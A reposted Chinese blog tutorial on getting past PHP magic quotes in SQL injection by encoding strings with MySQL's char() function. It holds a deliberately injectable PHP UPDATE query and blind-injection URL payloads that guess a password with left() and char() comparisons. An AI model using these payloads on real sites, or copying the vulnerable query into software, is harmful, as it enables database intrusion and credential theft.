您的位置:首页 > 其它

char函数绕过魔术引号注入

2017-02-08 14:06 281 查看


我目前学习到的绕过魔术引号的几种方法(如果知道还有别的请万望告之):

1.倘若服务端是GBK可以尝试宽字节注入

2.使用char函数绕过魔术引号进行注入

3.同char函数类似的函数,例如bin(转换为2进制),或者oct(转换为8进制)

本篇就是介绍char函数来进行绕过魔术引号来注入。

以下CODE是一个源码案例:

<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);


Paylaod:



假设:select * from user where username = 'def';

是可以等价于:select * from user where username = char(100,101,102);

那么在注入中自然也是可以如此。

假设一个站:http://www.baidu.com/newinfo.php?id=1

知道了它的列。char结合left函数注入。
http://www.baidu.com/newinfo.php?id=1 and left(password,1)=char(109)

假设第一个真的是等于109那么就返回正确。

当然了可以使用比较运算符来进行猜解。
http://www.baidu.com/newinfo.php?id=1 and left(password,1)>char(100)

然后猜解第二个的时候(假设第一个的char为100)。
http://www.baidu.com/newinfo.php?id=1 and left(password,2)>char(100,80)

表示python不太会玩儿。如果有人写出脚本可以分享来一起学习一下。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: